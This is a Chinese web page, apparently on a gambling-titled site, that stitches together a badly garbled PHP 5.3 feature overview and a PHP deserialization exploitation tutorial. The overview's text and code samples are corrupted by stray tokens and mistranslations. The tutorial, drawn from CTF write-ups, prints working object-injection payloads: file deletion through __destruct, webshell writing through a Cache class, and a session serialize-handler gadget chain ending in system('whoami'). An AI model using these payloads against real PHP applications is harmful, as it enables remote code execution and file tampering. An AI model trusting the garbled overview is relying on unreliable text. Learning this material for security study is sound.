澳门新葡萄京娱乐场php5.3介绍

PHP5.3介绍PHP2010泗水-IliaAlshanetsky.新版本的风味*两全老版本下的代码*根本要害放在现存的成效的校订*更少的bug*越来越快的通知周期1.命名空间(Namespaces卡塔尔(قطر‎*PHP5.3最大的新职能*统统帮助名字空间特点*绝大许多的职能的施行在编写翻译时*简化命名惯例1卡塔尔国更清楚的代码不利用NamespacesfunctionMY_wrapper(){}classMY_DB{}define(”MY_COMM_STR”,””);MY_wrapper();newMY_DB();MY_COMM_STR;2)使用NamespacesnamespaceMY;functionwrapper(){}classDB{}constCONN_STR=””;useMYASMY;wrapper();newDB();CONN_ST揽胜极光;3卡塔尔国一个文书中三个名字空间namespaceLIB;classMYSQL{}classSQLite{}$b=newSQLite(;namespaceLIB_EXTRA;classMScrypt{}$anewMScrypt();var_dump(get_class($a),get_class($b)};//result://string(18)LIB_EXTRA::MScrypt//string(11卡塔尔LIB::SQLite4卡塔尔(قطر‎名字空间的层级namespacefoo;functionstrlen($foo卡塔尔(قطر‎{returnhtmlspecialchars($foo卡塔尔国;}echostrlen(test卡塔尔;//testecho::strlen(test卡塔尔(قطر‎//4echonamespace::strlen(test卡塔尔(قطر‎;//test*function,class和constant援用在多少个名字空间中率先指向这些名字空间,其次才是三个大局的节制5卡塔尔名字空间活动引进function__autoload($var){var_dump($var);}//LIB::foorequire./ns.php;/**?phpnamespaceLIB;newfoo();?*/*__autoload(卡塔尔(قطر‎将拍卖为和名字空间的类名一同。*autoload仅在class不在名字空间和全局范围内设一时触发。*__autoload(State of Qatar注明在三个名字空间准将不别调用!6卡塔尔其余的名字空间的语法本事namespacereally::long::pointlessly::verbose::ns;__NAMESPACE__;//当前的名字空间名称classa{}get_class(newa(卡塔尔(قطر‎卡塔尔国;//really::long::pointlessly::verbose::ns::absusereally::long::pointlessly::verbose::ns::aASb;//从一个名字空间引用class2.校正的品质*md5(State of Qatar速度增加了大约10-15%*引擎中更好的库房完结*常量移到只读内存区*更正Exception管理(更轻巧更加少的代码卡塔尔(قطر‎*调用(require/include)_once去掉了选择open(2卡塔尔(قطر‎(linux下的c函数卡塔尔国*运用gcc4编译的二进制更加小更加快全体质量提升5-15%3.新的言语特征1State of Qatar__DIR__*引入__DIR__magic常量定位脚本的目录echodirname(__FILE__);//PHP5.3/*vs*/echo__DIR__;//=5.32)?:操作符*同意从2个值的or/and表明式快速的获取一个非空的值$a=true?:false;//true;$a=false?:true;//true;$a=?:1;//1$a=0?:2;//2$a=array(卡塔尔?:array(1State of Qatar;//array(1卡塔尔国;$a=strlen(卡塔尔?:strlen(a卡塔尔;//13卡塔尔国__callStatic()*等价于__call(卡塔尔,但它是为调用静态方法准备的classhelper{staticfunction__callStatic($name,$argsState of Qatar{echo$name.”(”.implode(”,”$argsState of Qatar.”State of Qatar”;}}helper::test(foo,bar卡塔尔国;//test(foo,bar卡塔尔国;//动态的函数/方法调用有一点慢…4State of Qatar动态的调用静态方法*php以往同意动态的调用静态的方法classhelper{staticfunctionfoo(卡塔尔国{echo__METHOD__;`}}$a=helper;$b=foo;$a::$b(State of Qatar;//helper::foo//动态的函数/方法调用有一点慢…5卡塔尔国延迟静态绑定*静态管理从编写翻译时延迟到试行时classA{publicstaticfunctionwhoami(State of Qatar{echo__CLASS__;}publicstaticfunctionidentity(){self::whoami();}}classBextendsA{publicstaticfunctionwhoami(){echo__CLASS__;}}B::identity();//A–php5.3classA{publicstaticfunctionwhoami(){echo__CLASS__;}publicstaticfunctionidentity(){static::whoami();}}classBextendsA{publicstaticfunctionwhoami(){echo__CLASS__;}}B::identity();//B–php=5.3*小心使用操作码缓存,未有向后包容6卡塔尔国MySQLInd*特殊的,高速的特意为PHP设计的MySQL调用库接口*越来越好的习性*内存的使用优化*内置的驱动(不是适应性的再一次扩大卡塔尔(قطر‎*ManyfutureoptionsduetotightintegrationwithPHP*日前还并未有PDO_MySQL支持mysql(i)onlyfornow7)INIMagic*CGI/FastCGI支持.htaccess形式的INI控制*客商能够谐和设定每一种目录的INI在php.ini中经过[PATH=/var/]设定*优化错误管理*同意顾客接收INI变量和常量任何概念的INI文件中*任何多少个小的优化顾客自定义的php.ini(.htaccess卡塔尔文件名.默以为.user.iniuser_ini.filename=.user.ini禁绝那一个脾气设置那几个选项为空值客户自定义php.ini的缓存失效期(time-to-live卡塔尔国秒数.默许is300s(5分钟卡塔尔(قطر‎user_ini.cache_ttl=300s[PATH=/var/]variables_order=GPCsafe_mode=1[myvaribles]somevar=1234anothervar=${somevar};anothervar==somevar[iniarrays]foo[bar]=1foo[123]=2foo[]=38)扩展的OpenSSL函数*使用OpenSSLDigest函数foreach(openssl_get_md_methods()as$d){//MD4,MD5,SHA512…(12allinall)echo$d.-.openssl_digest(foo,md5);//acbd18db4cc2f85cedef654fccc4a4d8}*利用OpenSSL加密函数//BF-CBC,AES-256CFB1…(54allinall卡塔尔(قطر‎foreach(openssl_get_cipher_methods()as$v){$val=openssl_encrypt(value,$v,secret);openssl_decrypt($val,$v,secret);//value}*扩展的openssl_pkey_new()和openssl_pkey_get_details(State of Qatar函数允许访问内部的DSA,ENVISIONSA和DH密匙.其指标在PHP中达成二个轻巧的OpenId9卡塔尔国SPL(StandardPHPLibrary卡塔尔国优化*优化嵌套的目录迭代次数由文件系统迭代*引入GlobIterator*各式各样的数量构造类:双链表,货仓,队列,堆,Mini堆,大型堆,优先级队列*此外的很绕口的局地特色10State of Qatar时间拍卖实行扩展了和丰硕*可决定的strtotime(卡塔尔由date_create_from_format()实现$date=strtotime(08-01-0700:00:00);var_dump(date(Y-m-d,$date));//string(10)2008-01-07$date=date_create_from_format(m-d-y,08-01-07);var_dump($date-format(”Y-m-d”));//string(10)2007-08-01*添加了date_get_last_errors(卡塔尔(قطر‎,並且重回时间语法深入分析的谬误和警戒array(4卡塔尔(قطر‎{[warning_count]=int(0)[warnings]=array(0){}[error_count]=int(2)[errors]=array(2){[2]=string(40)Theseparationsymbolcouldnotbefound[6]=string(13)Trailingdata}}11)getopt()优化*影响Windows平台*本土的实行不正视于本地getopt(卡塔尔国实现.*跨平台援救长选项(–option卡塔尔//input:–a=foo–b–cvar_dump(getopt(,array(a:,b::,c)));/*output:array(3){[a]=string(3)foo[b]=bool(false)[c]=bool(false)}*/12)XSLTProfiling*引入XsltProfiling通过setProfiling()实现$xslt=newxsltprocessor();$xslt-importStylesheet($xml);$xslt-setProfiling(/tmp/profile.txt);$xslt-transformToXml($dom);ResultingIn:numbermatchnamemodeCallsTot100usAvg0date55811Total55813)E_DEPRECATED标记*什么将一个php发行为一个不曾错误的情势?摈弃*E_DEPRECATED用来钦定扬弃的遵循,恐怕现在的版本中会淹没。14State of Qatar垃圾回笼器*为复杂性和长日子运作脚本的实践实现周期释放内部存款和储蓄器的清理gc_enable(State of Qatar;//允许垃圾回笼var_dump(gc_enabled());//truevar_dump(gc_collect_cycles(State of Qatar卡塔尔;//有个别成分的清理gc_disable(卡塔尔国;//制止垃圾回笼15卡塔尔NOWDOC*多少个HEREDOC不再举行转译HEREDOC$foo=ONEthisis$fubarONE;/*string(10)thisis*/NOWDOC$bar=TWOthisis$fubarTWO;/*string(16)thisis$fubar*/4.任何优化*SQLite升级到3.5.6*40多个bug被修复*CGI/FastCGISAPI优化*各类流的优化*前途越多的优化<

0x00 连串化函数

serialize(卡塔尔:重回带有变量类型和值的字符串

unserialize(State of Qatar:想要将已种类化的字符串变回 PHP 的值

测验代码:

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $a  = $a;
      $this->b = $b;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
    $a = ‘hello’;
    $b = 123;
    $c = false;
    $d = new test(‘helloa’,’hellob’,’helloc’);
    $e = new test1(‘hello’);
   
    var_dump(serialize($a));
    var_dump(serialize($b));
    var_dump(serialize($c));
    var_dump(serialize($d));
    var_dump(serialize($e));
?>
运营结果:

string ‘s:5:”hello”;’ (length=12)
string ‘i:123;’ (length=6)
string ‘b:0;’ (length=4)
string ‘O:4:”test”:2:{s:1:”a”;N;s:1:”b”;s:6:”hellob”;}’ (length=46)
string ‘O:5:”test1″:2:{s:1:”a”;s:5:”hello”;s:1:”b”;N;}’ (length=46)
种类化字符串格式: 变量类型:变量长度:变量内容 。

若果种类化的是一个对象,类别化字符串格式为:

变量类型:类名长度:类名:属性数据:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

将上述结果反类别化输出,推行结果:

string ‘hello’ (length=5)
int 123
boolean false
object(test)[1]
  public ‘a’ => null
  public ‘b’ => string ‘hellob’ (length=6)
object(test1)[1]
  public ‘a’ => string ‘hello’ (length=5)
  public ‘b’ => null
0x01 对象系列化

当类别化对象时,PHP 将要类别动作在此之前调用该对象的成员函数
sleep(卡塔尔。那样就同意对象在被系列化从前做其余消弭操作。相符的,当使用
unserialize() 恢复生机对象时, 将调用 wakeup(卡塔尔成员函数。

在serialize(卡塔尔国函数试行时,会先反省类中是不是定义了
sleep(卡塔尔函数,倘诺存在,则率先调用
sleep(卡塔尔国函数,纵然不设有,就封存系列字符串中的全数属性。

在unserialize(卡塔尔国函数试行时,会先检查是或不是定义了 wakeup(State of Qatar函数。如果wakeup(卡塔尔(قطر‎存在,将施行__wakeup(卡塔尔(قطر‎函数,会使变量被另行赋值。

serialize(卡塔尔国测验代码:

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo “b has changed”.”n”;
      $this->b = ‘hib’;
      return $this->b;
      
   
     }
     function __wakeup(){
      echo “a has changed”.”n”;
      $this->a = ‘hia’;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
    $d = new test(‘helloa’,’hellob’,’helloc’);
    $e = new test1(‘hello’);
   
    serialize($d);
    serialize($e);
   
    var_dump($d);
    var_dump($e);
?>

实行结果:

b has changed b has changed
object(test)[1]
public ‘a’ => string ‘helloa’ (length=6)
public ‘b’ => string ‘hib’ (length=3)
object(test1)[2]
public ‘a’ => string ‘hello’ (length=5)
public ‘b’ => string ‘hib’ (length=3)
unserialize(卡塔尔测量试验代码:

class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo “b has changed”.”n”;
      $this->b = ‘hib’;
      return $this->b;
      
   
     }
     function __wakeup(){
      echo “a has changed”.”n”;
      $this->a = ‘hia’;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
        $d = ‘O:4:”test”:2:{s:1:”a”;N;s:1:”b”;s:6:”hellob”;}’ ;
        $e = ‘O:5:”test1″:2:{s:1:”a”;s:5:”hello”;s:1:”b”;N;}’ ;
   
        var_dump(unserialize($d));
        var_dump(unserialize($e));

运行结果:

a has changed
object(test)[1]
  public ‘a’ => string ‘hia’ (length=3)
  public ‘b’ => string ‘hellob’ (length=6)
a has changed
object(test1)[1]
  public ‘a’ => string ‘hia’ (length=3)
  public ‘b’ => null
0x02 PHP体系化的接受

1、magic函数和类别化

参照: php对象注入

除了这一个之外 sleep(卡塔尔国和 wakeup(卡塔尔函数,在种类化时会推行外,还应该有下边三种选择形式。

Class File
 {
  function __construct($var,$file1,$file2){
   $this->var = $var;
   $this->file1 = $file1;
   $this->file2 = $file2;
   echo $this->var.’ and ‘.$this->file1.’ and
‘.$this->file2.’defined’;
  }
  function __destruct(){
   unlink(dirname(__FILE__) . ‘/’ . $this->file1);
   echo $this->file1.’deleted’;
  }
  function __toString(){
   return file_get_contents($this->file2);

  }

 }

// $file = new File(‘hello’,’123.txt’,’456.php’);
// var_dump(serialize($file));
echo
unserialize(‘O:4:”File”:3:{s:3:”var”;s:5:”hello”;s:5:”file1″;s:7:”123.txt”;s:5:”file2″;s:7:”456.php”;}’);
( construct(卡塔尔国函数,在实例化一个对象时被调用,日常用来给属性赋值,
destruct(卡塔尔(قطر‎在实例化对象完结后举行,__toString(卡塔尔国函数在echo二个目的时被调用)

construct(State of Qatar函数钦赐义了多少个变量,var那一个没什么暖用,file1和file2,大家在体系化字符串中定义为曾经服务器上意气风发度存在的四个文本123.txt和456.php,destruct(卡塔尔中有贰个unlink方法,是删除file1,__toString()中,读取file2的内容。

推行结果:

123.txtdeleted

翻看源码:

<?php  echo 123; ?>123.txtdeleted

将字符串反体系化后,由于已经对变量赋过值,那么就不会再履行construct(卡塔尔函数,在 construct(卡塔尔中赋值的变量也是行不通的。上述代码中
destruct(卡塔尔(قطر‎方法在在反连串化后,实例化对象截至后施行了,
tostring(卡塔尔函数在echo unserialize(卡塔尔国处,也被试行了

假设说在脚下页面中有request二种函数,那么就足以引致php对象注入:

2、四个白帽挑衅赛第三期

是生龙活虎道源码审计题,标题大致是sql注入结合类别化写入文件

局地源码也是在有些大神 博客
看见的(由于小编从未做过题,所以本身只截取了和序列化漏洞有关的片段源码):

class Cache extends ArrayObject
{
  public $path;
  function __construct($path)
  {
    parent::__construct([],ArrayObject::STD_PROP_LIST |
ArrayObject::ARRAY_AS_PROPS);
    $this->path = $path;
    if(file_exists($path)){
      $this->cache =
unserialize(file_get_contents($this->path));
    }
  function offset(){
  //一些不精通干嘛用的代码
  }

  }

  function __destruct()
  {
    $cache = $this->serialize();
    file_put_contents($this->path, $cache);
   
  }

}

又由于作者从未做过题。。。。所以模拟了那样一个页面去实例化:

include(‘cache.php’);
$cache = new Cache(‘path.txt’);

那题好疑似如此的:

经过SQL注入,可控叁个文件,纵然可控的是path.txt那一个文件(在骨子里的难点中,SQL注入权限非常不足,web目录下不得写文件,但其余目录可写,已知目录下有文件md5(username卡塔尔(قطر‎.txt,文件名知情,内容可控),这段代码的野趣是,剖断该公文存在后,读取文件内容,并且反种类化内容,停止时再通过种类化存进文件中。所以能够在可控文件中构造种类化字符串,退换近来的path属性为大家想要的目录。

path.txt:

C:5:”Cache”:103:{x:i:3;a:0:{};m:a:2:{s:4:”path”;s:25:”F:wampwwwtestpath.php”;s:5:”cache”;s:18:”<?php
echo 123; ?>”;}}

上述字符串是由此输出serialize(一个实例化的Cache对象State of Qatar构造的,当__construct(State of Qatar试行时,就能够将上述字符串反体系化,当时早就实例化了七个cache对象,而它的path值变成了大家定义的”F:wampwwwtestpath.php”,并且多了二个cache属性,值为
<?php echo 123; ?>
,这里的质量名cache是可以自便取的,但借使源码中:

$cache = $this->serialize();
变成了:

$cache = serialize($this->cache);
那就是说path.txt中的 “cache”;s:18:”<?php echo 123; ?>”
;属性名就务须和源码serialize($this->cacheState of Qatar个中的性子名相通。

进而,今后服务器上其实有多个对象,三个是 $cache = new Cache(‘path.txt’卡塔尔国;
定义的$cache,它的path属性值为path.txt;另二个对象是

C:5:”Cache”:103:{x:i:3;a:0:{};m:a:2:{s:4:”path”;s:25:”F:wampwwwtestpath.php”;s:5:”cache”;s:18:”<?php
echo 123; ?>”;}} 被反系列化后的对象,它的path属性的值为path.php。

三个对象实例化截止后,会调用其__destruct(卡塔尔国方法,将对象自己种类化,写入path属性定义的路径中。那样就将含有
<?php echo 123; ?> 的内容写进了path.php中。

3、安恒ctf web3

生机勃勃道源码审计题,解题思路是session上传进程,和session体系化微处理机漏洞相结合。

session上传过程:

参考: upload-progress

当 session.upload_progress.enabled INI
选项开启时,在一个上传管理中,在表单中增多一个与INI中安装的
session.upload_progress.name
同名变量时,$_SESSION中就能够增加三个保留上传新闻的session值,它的session名是
INI 中定义的 session.upload_progress.prefix 加表单中的post的
session.upload_progress.name

测量试验代码:

<form action=”” method=”POST” enctype=”multipart/form-data”>
 <input type=”hidden” name=”<?php echo
ini_get(“session.upload_progress.name”); ?>” value=”123″ />
 <input type=”file” name=”123123″ />
 <input type=”submit” />
</form>
<?php
 session_start();
 var_dump($_SESSION);
?>

(要翻见到上传session,INI貌似要设置那一个session.upload_progress.cleanup
= Off)

session类别化微机:

参考: session序列化

当session.auto_start = 0时:

几个剧本注册 Session
会话时使用的种类化微电脑(session.serialize_handler)分裂,就能够现身安全难点。

经过测量检验发现在1.php页面注册session.serialize_handler=‘php_serialize’;

在2.php中注册session.serialize_handler=‘php’;

那正是说在1.php中假造多个格式为:竖线加上对象连串化后的字符串

如: |O:4:”ryat”:1:{s:2:”hi”;s:4:”ryat”;}
那便是说会依据 php 微处理器的反种类化格式读取数据,成功地实例化了该对象。

相反,借使是从php->php_serialize,是不可行的。

当session.auto_start = 1时:

唯其如此注入 PHP 的内置类

web3 源码:

class.php:

    <?php
    class foo1{
            public $varr;
            function __construct(){
                    $this->varr = “index.php”;
            }
            function __destruct(){
                    if(file_exists($this->varr)){
                            echo $this->varr;
                    }
                    echo “那是foo1的析构函数”;
            }
    }
   
    class foo2{
            public $varr;
            public $obj;
            function __construct(){
                    $this->varr = ‘1234567890’;
                    $this->obj = null;
            }
            function __toString(){
                    $this->obj->execute();
                    return $this->varr;
            }
            function __desctuct(){
                    echo “那是foo2的析构函数”;
            }
    }
   
    class foo3{
            public $varr;
            function execute(){
                    eval($this->varr);
            }
            function __desctuct(){
                    echo “那是foo3的析构函数”;
            }
    }
   
    ?>
index.php:

<?php
   
    ini_set(‘session.serialize_handler’, ‘php’);
    
    require(“./sessionTest.php”);
    
    session_start();
    $obj = new foo1();
    
    $obj->varr = “phpinfo.php”;
   
    ?>
想方法让程序实行foo3的excute(卡塔尔(قطر‎函数,就要通过foo2的
toString(卡塔尔(قطر‎,要推行foo2的 toString(卡塔尔国将在通过echo
foo2,适逢其时foo1的__deatruct(卡塔尔(قطر‎有段那样的代码 echo $this->varr;

据此这么布局:

include(‘class.php’);
$t1 = new foo1;
$t2 = new foo2;
$t3 = new foo3;
$t3->varr = “system(‘whoami’);”;
$t2->obj = $t3;
$t1->varr = $t2;

$s1 = serialize($t1);
var_dump($s1);
组织出如此生机勃勃串:
O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’State of Qatar;”;}}}

就此组织一个表单,向class.php上传文件,通过session上传进程保存的session,来触发session种类化漏洞,由于INI中设置的种类化微处理器为php_serialize,而index.php军长其设置为php,就使得假造的session被成功地实例化了。

有两类区别的插法~

1、将体系化字符串插入PHP_SESSION_UPLOAD_PROGRESS

session名改成了PHP_SESSION_UPLOAD_PROGRESS_123,|前面包车型大巴payload会替换整个session值

2、将系列化字符串插入post内容中

因为session会存上传文件的开始和结果和文件名,所以也足以将类别化字符串插入name、filename.文本上传原本的session值从来到name前者参数停止,产生了session名,name参数|后边的payload变成了session值

发表评论

电子邮件地址不会被公开。 必填项已用*标注